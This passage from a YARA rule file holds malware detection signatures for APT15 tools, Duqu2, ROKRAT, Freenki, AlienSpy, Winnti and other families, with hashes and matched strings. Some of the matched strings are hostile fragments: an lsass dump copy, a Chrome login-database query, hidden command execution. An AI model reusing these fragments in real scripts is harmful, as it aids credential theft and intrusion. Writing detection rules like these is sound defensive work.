		sha256 = "90d1f65cfa51da07e040e066d4409dc8a48c1ab451542c894a623bc75c14bf8f"
		id = "c6867ad4-f7f2-5d63-bffd-07599ede635d"

	strings:
		$ = "eisableCMD" wide
		$ = "%WINDOWS_COPYRIGHT%" wide
		$ = "Cmd.Exe" wide
		$ = "Windows Command Processor" wide

	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule malware_apt15_royalcli_1
{
	meta:
		description = "Generic strings found in the Royal CLI tool"
		author = "David Cannings"
		sha256 = "6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785"
		id = "432c09bf-3c44-5a2c-ba69-7b4fe7eb43cc"

	strings:
		$ = "%s~clitemp%08x.tmp" fullword
		$ = "%s /c %s>%s" fullword
		$ = "%snewcmd.exe" fullword
		$ = "%shkcmd.exe" fullword
		$ = "%s~clitemp%08x.ini" fullword
		$ = "myRObject" fullword
		$ = "myWObject" fullword
		$ = "2 %s  %d 0 %d\x0D\x0A"
		$ = "2 %s  %d 1 %d\x0D\x0A"
		$ = "%s file not exist" fullword

	condition:
		uint16( 0 ) == 0x5A4D and 5 of them
}

rule malware_apt15_royalcli_2
{
	meta:
		author = "Nikolaos Pantazopoulos"
		description = "APT15 RoyalCli backdoor"
		id = "d4acfd2d-385d-5063-898e-d339b50733eb"

	strings:
		$string1 = "%shkcmd.exe" fullword
		$string2 = "myRObject" fullword
		$string3 = "%snewcmd.exe" fullword
		$string4 = "%s~clitemp%08x.tmp" fullword
		$string6 = "myWObject" fullword

	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}

rule malware_apt15_royaldll
{
	meta:
		author = "David Cannings"
		description = "DLL implant, originally rights.dll and runs as a service"
		sha256 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
		id = "26baef92-1055-56dc-b274-e2a6bc05d85b"

	strings:
		$opcodes_jshash = { B8 A7 C6 67 4E 83 C1 02 BA 04 00 00 00 57 90 }
		$opcodes_encode = { 0F B6 1C 03 8B 55 08 30 1C 17 47 3B 7D 0C }
		$opcodes_sleep_loop = { 68 (88|B8) (13|0B) 00 00 FF D6 4F 75 F6 }
		$ = "Nwsapagent" fullword
		$ = "\"%s\">>\"%s\"\\s.txt"
		$ = "myWObject" fullword
		$ = "del c:\\windows\\temp\\r.exe /f /q"
		$ = "del c:\\windows\\temp\\r.ini /f /q"

	condition:
		3 of them
}

import "pe"

rule malware_apt15_royaldll_2
{
	meta:
		author = "Ahmed Zaki"
		sha256 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
		description = "DNS backdoor used by APT15"
		id = "3bc546a5-38b9-5504-b09e-305ba7bbd6bc"

	strings:
		$ = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost" wide ascii
		$ = "netsvcs" wide ascii fullword
		$ = "%SystemRoot%\\System32\\svchost.exe -k netsvcs" wide ascii fullword
		$ = "SYSTEM\\CurrentControlSet\\Services\\" wide ascii
		$ = "myWObject" wide ascii

	condition:
		uint16( 0 ) == 0x5A4D and all of them and pe.exports ( "ServiceMain" ) and filesize > 50KB and filesize < 600KB
}

rule malware_apt15_exchange_tool
{
	meta:
		author = "Ahmed Zaki"
		md5 = "d21a7e349e796064ce10f2f6ede31c71"
		description = "This is a an exchange enumeration/hijacking tool used by an APT 15"
		id = "f07b9537-0741-51c8-a9fa-836430fe4855"

	strings:
		$s1 = "subjectname" fullword
		$s2 = "sendername" fullword
		$s3 = "WebCredentials" fullword
		$s4 = "ExchangeVersion" fullword
		$s5 = "ExchangeCredentials" fullword
		$s6 = "slfilename" fullword
		$s7 = "EnumMail" fullword
		$s8 = "EnumFolder" fullword
		$s9 = "set_Credentials" fullword
		$s18 = "/v or /t is null" wide
		$s24 = "2013sp1" wide

	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule malware_apt15_generic
{
	meta:
		author = "David Cannings"
		description = "Find generic data potentially relating to AP15 tools"
		id = "4eb50731-22df-5f7a-bf5f-166ef84cf8b5"

	strings:
		$str01 = "myWObject" fullword
		$str02 = "myRObject" fullword
		$opcodes01 = { 6A (02|03) 6A 00 6A 00 68 00 00 00 C0 50 FF 15 }

	condition:
		2 of them
}

rule Emissary_APT_Malware_1
{
	meta:
		description = "Detects Emissary Malware - from samples A08E81B411.DAT, ishelp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/V0epcf"
		date = "2016-01-02"
		score = 75
		hash1 = "9420017390c598ee535c24f7bcbd39f40eca699d6c94dc35bcf59ddf918c59ab"
		hash2 = "70561f58c9e5868f44169854bcc906001947d98d15e9b4d2fbabd1262d938629"
		hash3 = "0e64e68f6f88b25530699a1cd12f6f2790ea98e6e8fa3b4bc279f8e5c09d7290"
		hash4 = "69caa2a4070559d4cafdf79020c4356c721088eb22398a8740dea8d21ae6e664"
		hash5 = "675869fac21a94c8f470765bc6dd15b17cc4492dd639b878f241a45b2c3890fc"
		hash6 = "e817610b62ccd00bdfc9129f947ac7d078d97525e9628a3aa61027396dba419b"
		hash7 = "a8b0d084949c4f289beb4950f801bf99588d1b05f68587b245a31e8e82f7a1b8"
		hash8 = "acf7dc5a10b00f0aac102ecd9d87cd94f08a37b2726cb1e16948875751d04cc9"
		hash9 = "e21b47dfa9e250f49a3ab327b7444902e545bed3c4dcfa5e2e990af20593af6d"
		hash10 = "e369417a7623d73346f6dff729e68f7e057f7f6dae7bb03d56a7510cb3bfe538"
		hash11 = "29d8dc863427c8e37b75eb738069c2172e79607acc7b65de6f8086ba36abf051"
		hash12 = "98fb1d2975babc18624e3922406545458642e01360746870deee397df93f50e0"
		hash13 = "fbcb401cf06326ab4bb53fb9f01f1ca647f16f926811ea66984f1a1b8cf2f7bb"
		id = "ae6ff471-9255-52a3-89d2-452eb2556184"

	strings:
		$s1 = "cmd.exe /c %s > %s" fullword ascii
		$s2 = "execute cmd timeout." fullword ascii
		$s3 = "rundll32.exe \"%s\",Setting" fullword ascii
		$s4 = "DownloadFile - exception:%s." fullword ascii
		$s5 = "CDllApp::InitInstance() - Evnet create successful." fullword ascii
		$s6 = "UploadFile - EncryptBuffer Error" fullword ascii
		$s7 = "WinDLL.dll" fullword wide
		$s8 = "DownloadFile - exception:%s,code:0x%08x." fullword ascii
		$s9 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" fullword ascii
		$s10 = "CDllApp::InitInstance() - Evnet already exists." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and 3 of them
}

rule Reveal_MemoryCredentials
{
	meta:
		description = "Auto-generated rule - file Reveal-MemoryCredentials.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/giMini/RWMC/"
		date = "2015-08-31"
		hash = "893c26818c424d0ff549c1fbfa11429f36eecd16ee69330c442c59a82ce6adea"
		id = "ca06c702-45fe-5ab5-b53e-c3f7b7006570"

	strings:
		$s1 = "$dumpAProcessPath = \"C:\\Windows\\temp\\msdsc.exe\"" fullword ascii
		$s2 = "$user = Get-ADUser -Filter {UserPrincipalName -like $loginPlainText -or sAMAccountName -like $loginPlainText}" fullword ascii
		$s3 = "Copy-Item -Path \"\\\\$computername\\\\c$\\windows\\temp\\lsass.dmp\" -Destination \"$logDirectoryPath\"" fullword ascii
		$s4 = "if($backupOperatorsFlag -eq \"true\") {$loginPlainText = $loginPlainText + \" = Backup Operators\"}            " fullword ascii

	condition:
		filesize < 200KB and 1 of them
}

rule MiniDumpTest_msdsc
{
	meta:
		description = "Auto-generated rule - file msdsc.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/giMini/RWMC/"
		date = "2015-08-31"
		hash = "477034933918c433f521ba63d2df6a27cc40a5833a78497c11fb0994d2fd46ba"
		id = "044ae157-aba2-5935-9afc-8a12853c84bc"

	strings:
		$s1 = "MiniDumpTest1.exe" fullword wide
		$s2 = "MiniDumpWithTokenInformation" fullword ascii
		$s3 = "MiniDumpTest1" fullword wide
		$s6 = "Microsoft 2008" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20KB and all of them
}

rule APT_NK_MAL_Keylogger_Unknown_Nov19_1
{
	meta:
		description = "Detects unknown keylogger reported by CNMF in November 2019"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/CNMF_VirusAlert/status/1192131508007505921"
		date = "2019-11-06"
		hash1 = "04d70bb249206a006f83db39bbe49ff6e520ea329e5fbb9c758d426b1c8dec30"
		hash2 = "618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6"
		id = "5311d883-52e0-5503-9494-c583fabbedfe"

	strings:
		$x1 = "CKeyLogDlg::Keylogger_WriteFile" ascii
		$x2 = "Keylog file is saved >>>>>> %s" fullword ascii
		$x3 = "MicCap file is saved >>>>>> %s" fullword ascii
		$x4 = "cr5cr33nc4p.dat" fullword ascii
		$xc1 = { 73 74 61 74 75 73 00 00 5C 4B 65 79 6C 6F 67 }
		$xc2 = { 5B 43 4D 69 63 43 61 70 44 6C 67 5D 2E 00 00 00
               25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64
               25 30 32 64 2E 77 61 76 }
		$xc3 = { 25 73 00 00 25 73 5C 2A 2E 2A 00 00 61 62 00 00
               5B 25 73 5D 20 75 70 6C 6F 61 64 20 66 61 69 6C
               65 64 2E 00 72 62 00 00 5B 25 73 5D 20 6F 70 65
               6E 20 66 61 69 6C 65 64 2E 00 00 00 2E 2E 00 00
               5B 25 73 20 2D 3E 20 25 73 5D 20 63 6F 70 79 20
               66 61 69 6C 65 64 }
		$s1 = "%s\\cmd.exe /c %s" fullword ascii
		$s2 = "File upload error occured in [CFSDlg::ProcessResultMessage]." fullword ascii
		$s3 = "\\SAM\\Domains\\Account\\Users\\Names" ascii
		$s4 = "%s_hist%d:%d:%s:%s:::" fullword ascii
		$s5 = "CARAT_Ws2_32.dll" fullword ascii
		$s6 = "PID [%s], open process failed." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 40000KB and ( 1 of ( $x* ) or 4 of them )
}

rule Fareit_Trojan_Oct15
{
	meta:
		description = "Detects Fareit Trojan from Sep/Oct 2015 Wave"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/5VYtlU"
		date = "2015-10-18"
		score = 80
		super_rule = 1
		hash1 = "230ca0beba8ae712cfe578d2b8ec9581ce149a62486bef209b04eb11d8c088c3"
		hash2 = "3477d6bfd8313d37fedbd3d6ba74681dd7cb59040cabc2991655bdce95a2a997"
		hash3 = "408fa0bd4d44de2940605986b554e8dab42f5d28a6a525b4bc41285e37ab488d"
		hash4 = "76669cbe6a6aac4aa52dbe9d2e027ba184bf3f0b425f478e8c049637624b5dae"
		hash5 = "9486b73eac92497e703615479d52c85cfb772b4ca6c846ef317729910e7c545f"
		hash6 = "c3300c648aebac7bf1d90f58ea75660c78604410ca0fa705d3b8ec1e0a45cdd9"
		hash7 = "ff83e9fcfdec4ffc748e0095391f84a8064ac958a274b9684a771058c04cb0fa"
		id = "725abb2a-7675-51b5-aed8-594e4826a6b4"

	strings:
		$s1 = "ebai.exe" fullword wide
		$s2 = "Origina" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and $s1 in ( 0 .. 30000 ) and $s2 in ( 0 .. 30000 )
}

rule Duqu2_Sample1
{
	meta:
		description = "Detects malware - Duqu2 (cross-matches with IronTiger malware and Derusbi)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
		date = "2016-07-02"
		score = 80
		hash1 = "6b146e3a59025d7085127b552494e8aaf76450a19c249bfed0b4c09f328e564f"
		hash2 = "8e97c371633d285cd8fc842f4582705052a9409149ee67d97de545030787a192"
		hash3 = "2796a119171328e91648a73d95eb297edc220e8768f4bbba5fb7237122a988fc"
		hash4 = "5559fcc93eef38a1c22db66a3e0f9e9f026c99e741cc8b1a4980d166f2696188"
		id = "39ba04f1-df45-5513-ab8f-12097a79cdc7"

	strings:
		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
		$s2 = "MSI.dll" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 40KB and $x1 ) or ( all of them )
}

rule Duqu2_Sample2
{
	meta:
		description = "Detects Duqu2 Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
		date = "2016-07-02"
		score = 80
		hash1 = "d12cd9490fd75e192ea053a05e869ed2f3f9748bf1563e6e496e7153fb4e6c98"
		hash2 = "5ba187106567e8d036edd5ddb6763f89774c158d2a571e15d76572d8604c22a0"
		hash3 = "6e09e1a4f56ea736ff21ad5e188845615b57e1a5168f4bdaebe7ddc634912de9"
		hash4 = "c16410c49dc40a371be22773f420b7dd3cfd4d8205cf39909ad9a6f26f55718e"
		hash5 = "2ecb26021d21fcef3d8bba63de0c888499110a2b78e4caa6fa07a2b27d87f71b"
		hash6 = "2c9c3ddd4d93e687eb095444cef7668b21636b364bff55de953bdd1df40071da"
		id = "a32f54a3-8656-5592-ac40-17330bfca319"

	strings:
		$s1 = "=<=Q=W=a=g=p=v=|=" fullword ascii
		$s2 = ">#>(>.>3>=>]>d>p>" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and all of ( $s* )
}

rule Duqu2_Sample3
{
	meta:
		description = "Detects Duqu2 Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
		date = "2016-07-02"
		score = 80
		hash1 = "2a9a5afc342cde12c6eb9a91ad29f7afdfd8f0fb17b983dcfddceccfbc17af69"
		id = "c558445f-fbe3-57db-80f7-09a87b097921"

	strings:
		$s1 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 50KB and $s1 )
}

rule Duqu2_Sample4
{
	meta:
		description = "Detects Duqu2 Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
		date = "2016-07-02"
		score = 80
		hash1 = "3536df7379660d931256b3cf49be810c0d931c3957c464d75e4cba78ba3b92e3"
		id = "8c5ca68d-762c-5d2e-8d37-f58dc66bcae2"

	strings:
		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
		$s2 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide
		$s3 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide
		$s4 = "ProcessUserAccounts" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 30KB and 1 of ( $x* ) ) or ( all of them )
}

rule Duqu2_UAs
{
	meta:
		description = "Detects Duqu2 Executable based on the specific UAs in the file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
		date = "2016-07-02"
		score = 80
		hash1 = "52fe506928b0262f10de31e783af8540b6a0b232b15749d647847488acd0e17a"
		hash2 = "81cdbe905392155a1ba8b687a02e65d611b60aac938e470a76ef518e8cffd74d"
		id = "d82f6351-fab0-5324-850f-dd40a172fceb"

	strings:
		$x1 = "Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1" fullword wide
		$x2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7xs5D9rRDFpg2g" fullword wide
		$x3 = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)" fullword wide
		$x4 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 800KB and all of them )
}

rule ROKRAT_Malware
{
	meta:
		description = "Detects ROKRAT Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html"
		date = "2017-04-03"
		modified = "2021-09-14"
		hash1 = "051463a14767c6477b6dacd639f30a8a5b9e126ff31532b58fc29c8364604d00"
		hash2 = "cd166565ce09ef410c5bba40bad0b49441af6cfb48772e7e4a9de3d646b4851c"
		id = "52e7e144-b704-5254-9a0f-928fbc96f877"

	strings:
		$x1 = "c:\\users\\appdata\\local\\svchost.exe" fullword ascii
		$x2 = "c:\\temp\\episode3.mp4" fullword ascii
		$x3 = "MAC-SIL-TED-FOO-YIM-LAN-WAN-SEC-BIL-TAB" ascii
		$x4 = "c:\\temp\\%d.tmp" ascii fullword
		$s1 = "%s%s%04d%02d%02d%02d%02d%02d.jar" fullword ascii
		$s2 = "\\Aboard\\Acm%c%c%c.exe" ascii
		$a1 = "ython" ascii fullword
		$a2 = "iddler" ascii fullword
		$a3 = "egmon" ascii fullword
		$a6 = "iresha" ascii fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 25000KB and ( 1 of ( $x* ) or ( 5 of them ) )
}

import "pe"

rule ROKRAT_Dropper_Nov17
{
	meta:
		description = "Detects dropper for ROKRAT malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
		date = "2017-11-28"
		hash1 = "eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14"
		hash2 = "a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037"
		id = "4f3156a2-6b1b-5c65-b8fa-84c0b739d703"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2500KB and pe.imphash ( ) == "c6187b1b5f4433318748457719dd6f39"
}

rule Freeenki_Infostealer_Nov17
{
	meta:
		description = "Detects Freenki infostealer malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
		date = "2017-11-28"
		modified = "2023-01-06"
		hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
		id = "01365093-e40a-524a-8a13-217742542f1e"

	strings:
		$x1 = "base64Encoded=\"TVqQAAMAAAAEAAAA" ascii
		$x2 = "command =outFile &\" sysupdate\"" fullword ascii
		$x3 = "outFile=sysDir&\"\\rundll32.exe\"" fullword ascii
		$s1 = "SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command" fullword wide
		$s2 = "c:\\TEMP\\CrashReports\\" ascii
		$s3 = "objShell.run command, 0, True" fullword ascii
		$s4 = "sysDir = shell.ExpandEnvironmentStrings(\"%windir%\")" fullword ascii
		$s5 = "'Wscript.echo \"Base64 encoded: \" + base64Encoded" fullword ascii
		$s6 = "set shell = WScript.CreateObject(\"WScript.Shell\")" fullword ascii
		$a1 = "\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
		$a2 = "SELECT username_value, password_value, signon_realm FROM logins" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 1 of ( $x* ) or 3 of them or all of ( $a* ) )
}

import "pe"

rule Freeenki_Infostealer_Nov17_Export_Sig_Testing
{
	meta:
		description = "Detects Freenki infostealer malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
		date = "2017-11-28"
		hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
		id = "929f9d41-2e71-5a86-b12f-489355bdf88d"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and pe.exports ( "getUpdate" ) and pe.number_of_exports == 1
}

rule ROKRAT_Nov17_1
{
	meta:
		description = "Detects ROKRAT malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-11-28"
		id = "6bf3653b-1f96-5060-b6fd-82ccc83fad77"

	strings:
		$s1 = "\\T+M\\Result\\DocPrint.pdb" ascii
		$s2 = "d:\\HighSchool\\version 13\\2ndBD" ascii
		$s3 = "e:\\Happy\\Work\\Source\\version" ascii
		$x1 = "\\appdata\\local\\svchost.exe" ascii
		$x2 = "c:\\temp\\esoftscrap.jpg" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 15000KB and 1 of them )
}

rule APT_MAL_SLOTHFULMEDIA_Oct20_1
{
	meta:
		description = "Detects SLOTHFULMEDIA malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a"
		date = "2020-10-01"
		hash1 = "64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273"
		hash2 = "927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae"
		hash3 = "f0503f0131040b805e106eafe64a65d9404a0e279f052237b868e456c34d36e6"
		hash4 = "ed5258306c06d6fac9b13c99c7c8accc7f7fa0de4cf4de4f7d9eccad916555f5"
		hash5 = "04ca010f4c8997a023fabacae230698290e3ff918a86703c5e0a2a6983b039eb"
		hash6 = "cb2adcaaa25bb6b8a9f1c685c219f8d6d78aa5cfd65c633f4d255ff81da2c517"
		id = "cc413225-f084-5859-bc27-04eb018d8894"

	strings:
		$xc1 = { 25 73 26 69 3D 25 64 00 48 54 54 50 2F 31 2E 31
               00 00 00 00 50 4F 53 54 00 00 00 00 43 6F 6E 74
               65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 00 00
               5C 00 53 00 65 00 74 00 75 00 70 00 55 00 69 00
               00 00 00 00 25 00 73 00 25 00 73 00 5F 00 25 00
               64 00 2E 00 64 00 61 00 74 }
		$xc2 = { 2F 76 3F 6D 3D 00 00 00 35 30 31 00 32 30 30 00
               2A 00 2E 00 2A 00 00 00 25 00 73 00 00 00 00 00
               53 00 65 00 44 00 65 00 62 00 75 00 67 00 50 00
               72 00 69 00 76 00 69 00 6C 00 65 00 67 00 65 }
		$xc3 = { 00 25 00 73 00 7C 00 25 00 73 00 7C 00 25 00 73
               00 7C 00 25 00 73 00 00 00 5C 00 46 00 69 00 6C
               00 74 00 65 00 72 00 33 00 2E 00 6A 00 70 00 67 }
		$sc1 = { 25 74 65 6D 70 25 00 00 25 73 5C 25 73 2E 65 78
               65 00 00 00 25 74 65 6D 70 25 00 00 25 73 5C 25
               73 2E 65 78 65 }
		$sc2 = { 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65
               74 2D 73 74 72 65 61 6D 2C 61 70 70 6C 69 63 61
               74 69 6F 6E 2F 78 68 74 6D 6C 00 00 25 73 26 69
               3D 25 64 00 48 54 54 50 2F 31 2E 31 00 00 00 00
               50 4F 53 54 }
		$s1 = "%s%s_%d.dat" wide fullword
		$s2 = "Local Security Process" wide fullword
		$s3 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75" ascii fullword
		$s4 = "Global%s%d" wide fullword
		$s5 = "ExtKeyloggerStart" ascii fullword
		$s6 = "GetExtendedTcpTable" ascii fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) or 3 of them ) or 4 of them
}

rule crime_win_rat_AlienSpy
{
	meta:
		description = "Alien Spy Remote Access Trojan"
		author = "General Dynamics Fidelis Cybersecurity Solutions - Threat Research Team"
		reference_1 = "www.fidelissecurity.com/sites/default/files/FTA_1015_Alienspy_FINAL.pdf"
		reference_2 = "www.fidelissecurity.com/sites/default/files/AlienSpy-Configs2_1_2.csv"
		date = "04-Apr-15"
		filetype = "Java"
		hash_1 = "075fa0567d3415fbab3514b8aa64cfcb"
		hash_2 = "818afea3040a887f191ee9d0579ac6ed"
		hash_3 = "973de705f2f01e82c00db92eaa27912c"
		hash_4 = "7f838907f9cc8305544bd0ad4cfd278e"
		hash_5 = "071e12454731161d47a12a8c4b3adfea"
		hash_6 = "a7d50760d49faff3656903c1130fd20b"
		hash_7 = "f399afb901fcdf436a1b2a135da3ee39"
		hash_8 = "3698a3630f80a632c0c7c12e929184fb"
		hash_9 = "fdb674cadfa038ff9d931e376f89f1b6"
		id = "a79789cd-9b16-58f5-ab51-48bb900583d1"

	strings:
		$sa_1 = "META-INF/MANIFEST.MF"
		$sa_2 = "Main.classPK"
		$sa_3 = "plugins/Server.classPK"
		$sa_4 = "IDPK"
		$sb_1 = "config.iniPK"
		$sb_2 = "password.iniPK"
		$sb_3 = "plugins/Server.classPK"
		$sb_4 = "LoadStub.classPK"
		$sb_5 = "LoadStubDecrypted.classPK"
		$sb_7 = "LoadPassword.classPK"
		$sb_8 = "DecryptStub.classPK"
		$sb_9 = "ClassLoaders.classPK"
		$sc_1 = "config.xml"
		$sc_2 = "options"
		$sc_3 = "plugins"
		$sc_5 = "util/OSHelper"
		$sc_6 = "Start.class"
		$sc_7 = "AlienSpy"

	condition:
		uint16( 0 ) == 0x4B50 and filesize < 800KB and ( ( all of ( $sa_* ) ) or ( all of ( $sb_* ) ) or ( all of ( $sc_* ) ) )
}

import "pe"

rule crime_win32_dridex_socks5_mod
{
	meta:
		description = "Detects Dridex socks5 module"
		author = "@VK_Intel"
		date = "2020-04-06"
		reference = "https://twitter.com/VK_Intel/status/1247058432223477760"
		id = "cee256b1-ad80-55dd-bbd3-0d3f7bc49664"

	strings:
		$s0 = "socks5_2_x32.dll"
		$s1 = "socks5_2_x64.dll"

	condition:
		any of ( $s* ) and pe.exports ( "start" )
}

import "pe"

rule crime_win32_hvnc_banker_gen
{
	meta:
		description = "Detects malware banker hidden VNC"
		author = "@VK_Intel"
		reference = "https://twitter.com/VK_Intel/status/1247058432223477760"
		date = "2020-04-06"
		id = "5e13f4a9-2231-524f-82b2-fbc6d6a43b6f"

	condition:
		pe.exports( "VncStartServer" ) and pe.exports ( "VncStopServer" )
}

rule MAL_Gopuram_Apr23
{
	meta:
		description = "Detects Lazarus Gopuram malware"
		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-04-04"
		hash = "beb775af5196f30e0ee021790a4978ca7a7ac2a7cf970a5a620ffeb89cc60b2c"
		hash = "97b95b4a5461f950e712b82783930cb2a152ec0288c00a977983ca7788342df7"
		id = "e0bb43b0-542b-5c8e-bcba-0326f80efaa0"

	strings:
		$path = "%s.TxR.0.regtrans-ms"

	condition:
		uint16( 0 ) == 0x5A4D and $path and filesize < 10MB
}

rule Winnti_fonfig
{
	meta:
		description = "Winnti sample - file fonfig.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/VbvJtL"
		date = "2017-01-25"
		hash1 = "2c9882854a60c624ecf6b62b6c7cc7ed04cf4a29814aa5ed1f1a336854697641"
		id = "ca3c186c-0286-5b9b-9585-7680336c8c3d"

	strings:
		$s1 = "mciqtz.exe" fullword wide
		$s2 = "knat9y7m" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule Winnti_NlaifSvc
{
	meta:
		description = "Winnti sample - file NlaifSvc.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/VbvJtL"
		date = "2017-01-25"
		hash1 = "964f9bfd52b5a93179b90d21705cd0c31461f54d51c56d558806fe0efff264e5"
		id = "d2bfcad4-9762-5f2a-88cc-e8cdc648e710"

	strings:
		$x1 = "cracked by ximo" ascii
		$s1 = "Yqrfpk" fullword ascii
		$s2 = "IVVTOC" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 900KB and ( 1 of ( $x* ) or 2 of them ) ) or ( 3 of them )
}

rule Rombertik_CarbonGrabber
{
	meta:
		description = "Detects CarbonGrabber alias Rombertik - file Copy#064046.scr"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
